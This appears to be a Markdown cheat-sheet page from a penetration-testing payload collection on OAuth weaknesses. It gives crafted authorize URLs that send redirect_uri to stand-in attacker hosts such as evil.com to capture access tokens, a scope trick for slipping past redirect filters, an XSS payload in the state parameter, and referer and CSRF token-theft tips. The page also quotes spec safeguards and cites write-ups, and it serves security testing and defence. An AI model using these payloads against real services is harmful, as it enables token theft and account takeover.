71 lines
3.9 KiB
Markdown
71 lines
3.9 KiB
Markdown
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# OAuth
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## Summary
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- [Stealing OAuth Token via referer](#stealing-oauth-token-via-referer)
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- [Grabbing OAuth Token via redirect_uri](#grabbing-oauth-token-via-redirect---uri)
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- [Executing XSS via redirect_uri](#executing-xss-via-redirect---uri)
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- [OAuth private key disclosure](#oauth-private-key-disclosure)
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- [Authorization Code Rule Violation](#authorization-code-rule-violation)
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- [Cross-Site Request Forgery](#cross-site-request-forgery)
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- [References](#references)
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## Stealing OAuth Token via referer
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From [@abugzlife1](https://twitter.com/abugzlife1/status/1125663944272748544) tweet.
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> Do you have HTML injection but can't get XSS? Are there any OAuth implementations on the site? If so, setup an img tag to your server and see if there's a way to get the victim there (redirect, etc.) after login to steal OAuth tokens via referer
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## Grabbing OAuth Token via redirect_uri
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Redirect to a controlled domain to get the access token
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```powershell
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https://www.example.com/signin/authorize?[...]&redirect_uri=https://demo.example.com/loginsuccessful
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https://www.example.com/signin/authorize?[...]&redirect_uri=https://localhost.evil.com
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```
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Redirect to an accepted Open URL in to get the access token
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```powershell
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https://www.example.com/oauth20_authorize.srf?[...]&redirect_uri=https://accounts.google.com/BackToAuthSubTarget?next=https://evil.com
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https://www.example.com/oauth2/authorize?[...]&redirect_uri=https%3A%2F%2Fapps.facebook.com%2Fattacker%2F
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```
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OAuth implementations should never whitelist entire domains, only a few URLs so that “redirect_uri” can’t be pointed to an Open Redirect.
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Sometimes you need to change the scope to an invalid one to bypass a filter on redirect_uri:
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```powershell
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https://www.example.com/admin/oauth/authorize?[...]&scope=a&redirect_uri=https://evil.com
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```
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## Executing XSS via redirect_uri
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```powershell
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https://example.com/oauth/v1/authorize?[...]&redirect_uri=data%3Atext%2Fhtml%2Ca&state=<script>alert('XSS')</script>
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```
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## OAuth private key disclosure
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Some Android/iOS app can be decompiled and the OAuth Private key can be accessed.
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## Authorization Code Rule Violation
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> The client MUST NOT use the authorization code more than once.
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If an authorization code is used more than once, the authorization server MUST deny the request
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and SHOULD revoke (when possible) all tokens previously issued based on that authorization code.
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## Cross-Site Request Forgery
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Applications that do not check for a valid CSRF token in the OAuth callback are vulnerable. This can be exploited by initializing the OAuth flow and intercepting the callback (`https://example.com/callback?code=AUTHORIZATION_CODE`). This URL can be used in CSRF attacks.
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> The client MUST implement CSRF protection for its redirection URI. This is typically accomplished by requiring any request sent to the redirection URI endpoint to include a value that binds the request to the user-agent's authenticated state. The client SHOULD utilize the "state" request parameter to deliver this value to the authorization server when making an authorization request.
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## References
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* [All your Paypal OAuth tokens belong to me - localhost for the win - INTO THE SYMMETRY](http://blog.intothesymmetry.com/2016/11/all-your-paypal-tokens-belong-to-me.html)
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* [OAuth 2 - How I have hacked Facebook again (..and would have stolen a valid access token) - INTO THE SYMMETRY](http://intothesymmetry.blogspot.ch/2014/04/oauth-2-how-i-have-hacked-facebook.html)
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* [How I hacked Github again. - Egor Homakov](http://homakov.blogspot.ch/2014/02/how-i-hacked-github-again.html)
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* [How Microsoft is giving your data to Facebook… and everyone else - Andris Atteka](http://andrisatteka.blogspot.ch/2014/09/how-microsoft-is-giving-your-data-to.html)
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- [Bypassing Google Authentication on Periscope's Administration Panel](https://whitton.io/articles/bypassing-google-authentication-on-periscopes-admin-panel/) By Jack Whitton
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